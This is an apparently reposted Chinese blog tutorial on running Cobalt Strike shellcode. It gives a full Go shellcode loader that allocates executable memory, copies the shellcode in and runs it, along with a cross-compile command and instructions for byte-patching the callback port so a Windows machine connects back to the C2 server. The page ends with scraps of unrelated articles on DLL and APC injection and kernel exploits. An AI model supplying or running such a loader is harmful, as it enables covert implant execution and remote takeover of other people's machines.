<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    淺談cs的shellcode的使用方法

    VSole2021-11-15 15:58:10

    準備工作

    shellcode是一段用于利用軟件漏洞而執行的代碼,shellcode為16進制的機器碼,因為經常讓攻擊者獲得shell而得名。

    我們經常在CS里面生成指定編程語言的payload,而這個payload里面就是一段十六進制的機器碼。

    使用cs生成一個c的payload。

    這個文件里面就是一段shllcode。


    接下來我們從編寫shellcode加載器開始到運行上線CS來分析一下這個shellcode做了什么。

    0x01 shellcode加載器介紹

    及cs上線操作

    要想運行shellcode并上線機器的話,最常見的辦法就是編寫shellcode加載器,那么什么是shellcode加載器呢?

    我們知道在計算機中無論什么程序到最后都會轉換成二進制代碼讓CPU去運行,而CPU是負責運算和處理的,內存是交換數據的,沒有內存,CPU就沒法接收到數據。

    內存是計算機與CPU進行溝通的橋梁。計算機中所有程序的運行都是在內存中進行的。

    所以shellcode加載器就是為shellcode申請一段內存,然后把shellcode加載到內存中讓機器執行這段shellcode,也就是說這個加載器就是個讓shellcode運行起來的東西(這不是廢話么)。

    下面我復制粘貼了段go語言的shellcode的加載器,我們可以用這歌加載器來上線windows機器。

    package main
    import (  _"io/ioutil"  "os"  "syscall"  "unsafe")
    const (  MEM_COMMIT             = 0x1000  MEM_RESERVE            = 0x2000  PAGE_EXECUTE_READWRITE = 0x40)
    var (  kernel32      = syscall.MustLoadDLL("kernel32.dll")       //調用kernel32.dll  ntdll         = syscall.MustLoadDLL("ntdll.dll")          //調用ntdll.dll  VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")     //使用kernel32.dll調用ViretualAlloc函數  RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")        //使用ntdll調用RtCopyMemory函數  shellcode_buf = []byte{    // 你的shellcode,0x3f, 0x2e...格式的  })
    func checkErr(err error) {  if err != nil {       //如果內存調用出現錯誤,可以報出    if err.Error() != "The operation completed successfully." { //如果調用dll系統發出警告,但是程序運行成功,則不進行警報      println(err.Error()) //報出具體錯誤      os.Exit(1)    }  }}
    func main() {  shellcode := shellcode_buf
      //調用VirtualAlloc為shellcode申請一塊內存  addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)  if addr == 0 {    checkErr(err)  }
      //調用RtlCopyMemory來將shellcode加載進內存當中  _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))  checkErr(err)
      //syscall來運行shellcode  syscall.Syscall(addr, 0, 0, 0, 0)}
    

    在shellcode_buf里面放好前面cs生成的c的payload時后來編譯運行。

    windows機器上正常編譯,MacOS與linux機器或者其他操作系統上運行下面這段代碼來編譯。

    CGO_ENABLED=0 GOOS=windows  go build main.go
    

    這行自行腦補一張win10打開main.exe的圖片。

    成功上線,這就是我們上線機器的過程,接下來我們來一步步的去分析這個過程事如何實現的。

    0x02 shellcode加載器所用數據類型及 Windows API 函數大致介紹

    [ + ] VirtualAlloc

    VirtualAlloc 是 Windows API 函數。該函數的功能是在調用進程的虛地址空間,預定或者提交一部分頁。

    簡單點的意思就是申請內存空間。包含在 Windows 系統文件 Kernel32.dll 中。

    使用詳情:https://docs.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc

    調用VirtualAlloc的話需要有四個參數,如文檔中提到的lpAddress、dwSize、flAllocationType、flProtect,其中每個參數的介紹如下:

    lpAddress:內存指針,規定開始的地方

    dwSize:要用內存的大小

    flAllocationType*:內存類型,規定要怎么去用這塊內存

    flProtect:內存屬性

    [ + ] RtlMoveMemory

    RtlCopyMemory是 Windows API 函數。該函數可以從指定內存中復制內存至另一內存里。

    簡稱:復制內存。它包含在 Ntdll.dll 中。

    調用 RtlMoveMemory 的話需要三個參數,如文檔中提到的Destination、Source、Length,其中每個參數的介紹如下:

    Destination:指向要復制字節的目標內存塊的指針

    Source:指向要復制字節的源內存塊的指針

    Length:從源復制到目標中的字節數

    [ + ] uintptr*

    整型,可以足夠保存指針的值得范圍

    [ + ] uintptr*

    系統調用。syscall包包含一個指向底層操作系統原語的接口,它接收4個參數,其中trap為中斷信號,a1,a2,a3為底層調用函數對應的參數。具體用法為:

    syscall.Syscall(trap, a1, a2, a3 uintptr)
    

    其中用不到的補0就行。

    [ + ] golang調用windows api

    參考文章:https://www.jianshu.com/p/8e454a012cdc

    關鍵詞:golang調用windows api(這里主要針對go語言,師傅們可以嘗試去寫一個其他語言的shellcode加載器,原理都是調用windows api)。

    0x03 shellcode加載器代碼分析

    加載器加載shellcode就是用go調用windows api然后操作內存來實現的。

    1. 從入口函數main起看,首先是聲明一個shellcode變量并賦值。

    shellcode := shellcode_buf
    

    2. 接下來用VirtualAlloc為shellcode申請了一段內存空間。

    addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
    

    在這行代碼中,我們用go語言調用了windpws api中的VirtualAlloc函數,它在 Windows 系統文件 Kernel32.dll 中(0x02開頭有官方的函數用法介紹),因此我們在開頭有幾行代碼是調用dll中的函數的。

    繼續來看VirtualAlloc函數,這里面有四個參數分別是:

    addrlpAddress        <==      0                        // 內存指針,規定開始的地方。dwSize              <==      uintptr(len(shellcode))  // 內存分配的大小,必須得是uintptr型flAllocationType    <==      MEM_COMMIT|MEM_RESERVE  // 內存類型,規定要怎么去用這塊內存,具體見下表flProtect            <==      PAGE_EXECUTE_READWRITE  // 內存屬性,具體見下下表
    

    MEM_COMMIT|MEM_RESERVE

    3. 然后調用RtlCopyMemory函數來將shellcode加載進內存當中。

    _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
    

    RtlCopyMemory函數對應的三個參數分別是:

    Destination          <==          addr變量,指向要復制字節的目標內存塊的指針。Source              <==          (uintptr)(unsafe.Pointer(&shellcode[0])),指向要復制字節的源內存塊的指針。Length              <==          uintptr(len(shellcode)) 從源復制到目標中的字節數。
    

    4. 最后使用syscall來執行shellcode

    syscall.Syscall(addr, 0, 0, 0, 0)      // 用不到的就補0
    

    到這里一個基本的shellcode加載器就實現了,總而言之就是:

    申請內存-->把shellcode加載到內存-->讓這段內存里的東西運行起來。

    0x04 從shellcode里直接修改上線IP與端口

    一、前奏小知識

    1. 端口為什么會是65535個?

    在TCP、UDP協議的開頭,會分別有16位來存儲源端口號和目標端口號,所以端口個數是216-1=65535個。簡單來講端口就是從十六進制的0000-FFFF

    2. 內存地址是從低地址到高地址記錄的。例如

    一個內存單元比如0x000001可以存放一個字節,比如把55555轉換成十六進制就是D903:

    而一個字節就是D9或者03,在D903中,因為字在寄存器中是這樣儲存的。

    所以D9屬于高位,03屬于低位,如果要放在內存里面從0x000001開始的話就是0X000001放著03,0x000002放著D9+

    二、修改上線IP與端口

    假如你生成的端口為5555,把它轉換為十六進制就是D903,我們反過來搜03D9就可以了(根據生成shellcode的格式自行搜索,或者只搜索一個D9,然后看它前面的是不是03,如果是的話就說明這倆個字節就是我們的上線端口),這樣就確定了監聽端口的位置。

    接下來把要替換的端口號轉換成十六進制。

    然后再倒序修改shellcode里面監聽的端口號的位置。

    好了,這樣就修改成功了,放到加載器去上線吧,修改監聽IP,留給大家思考。

    求走過路過的大佬的一個小贊。

    函數調用
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    概述在windows系統上,涉及到內核對象的功能函數,都需要從應用層權限轉換到內核層權限,然后再執行想要的內核函數,最終將函數結果返回給應用層。本文就是用OpenProcess函數來觀察函數從應用層到內核層的整體調用流程。OpenProcess函數,根據指定的進程ID,返回進程句柄。NTSTATUS Status; //保存函數執行狀態。OBJECT_ATTRIBUTES Obja; //待打開對象的對象屬性。HANDLE Handle; //存儲打開的句柄。CLIENT_ID ClientId; //進程、線程ID. dwDesiredAccess, //預打開進程并獲取對應的權限。ObjectNamePresent = ARGUMENT_PRESENT ; //判斷對象名稱是否為空
    關于堆棧ShellCode操作:基礎理論002-利用fs寄存器尋找當前程序dll的入口:從動態運行的程序中定位所需dll003-尋找大兵LoadLibraryA:從定位到的dll中尋找所需函數地址004-被截斷的shellCode:加解密,解決shellCode的零字截斷問題
    反射式DLL注入實現
    2022-05-13 15:59:21
    反射式dll注入與常規dll注入類似,而不同的地方在于反射式dll注入技術自己實現了一個reflective loader()函數來代替LoadLibaryA()函數去加載dll,示意圖如下圖所示。藍色的線表示與用常規dll注入相同的步驟,紅框中的是reflective loader()函數行為,也是下面重點描述的地方。
    該漏洞發生的位置是在驅動文件Win32k.sys中的xxxHandleMenuMessage函數,產生的原因是沒有對該函數中調用的xxxMNFindWindowFromPoint函數的返回值進行合法性驗證,直接將其作為參數傳遞給后面的xxxSendMessage函數調用,從而造成了提權漏洞。
    Win32k組件最初的設計和編寫是完全建立的用戶層上的,但是微軟在 Windows NT 4.0 的改變中將 Win32k.sys 作為改變的一部分而引入,用以提升圖形繪制性能并減少 Windows 應用程序的內存需求。窗口管理器(User)和圖形設備接口(GDI)在極大程度上被移出客戶端/服務端運行時子系統(CSRSS)并被落實在它自身的一個內核模塊中。
    結構&拷貝與引用
    2023-05-10 11:27:04
    結構&拷貝與引用開始之前,我們約定數據塊也叫插槽,也就是storage。storage是永久存儲在區塊鏈上的地方。Stack 的最大深度為 1024 個元素,支持 256 位的字長。結構當定義局部變量時,它存儲在內存中,然后壓入堆棧以執行。1024棧深簡介EVM不是寄存器機而是堆棧機,所以所有的計算都在稱為堆棧的數據區域上進行。1024 是一個非常保守的值,以盡可能安全EVM 的設計方式往往會使更大的堆棧變得無用。EVM 只能訪問堆棧中前16個slot。
    可是當我們開啟了smap保護之后,內核態就沒有辦法訪問用戶態的數據,此時當我們再hijack tty_operation到我們的用戶態時,我們的kernel就會panic,更別說劫持執行流到用戶態上執行rop了。當我們調用msgsnd時,在linux內核中會調用do_msgsnd。
    本篇針對該JS中的字符串混淆進行還原。字符串是如何混淆的解密方式想要對字符串反混淆就要先分析該樣本是如何對字符串進行混淆的。而處于全局作用域的_0x1f1a68實際上也是對另一個函數的調用。
    當線程從等待狀態蘇醒后,會自動檢測自己得APC隊列中是否存在APC過程。所以只需要將目標進程的線程的APC隊列里面添加APC過程,當然為了提高命中率可以向進程的所有線程中添加APC過程。然后促使線程從休眠中恢復就可以實現APC注入。往線程APC隊列添加APC,系統會產生一個軟中斷。第二個參數表示插入APC的線程句柄,要求線程句柄必須包含THREAD_SET_CONTEXT訪問權限。第三個參數表示傳遞給執行函數的參數。如果直接傳入shellcode不設置第三個函數,可以直接執行shellcode。
    01高門檻,勿入在Cisco平臺上有一個很有用的Traceback log功能,實時記錄當前Code運行到特
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类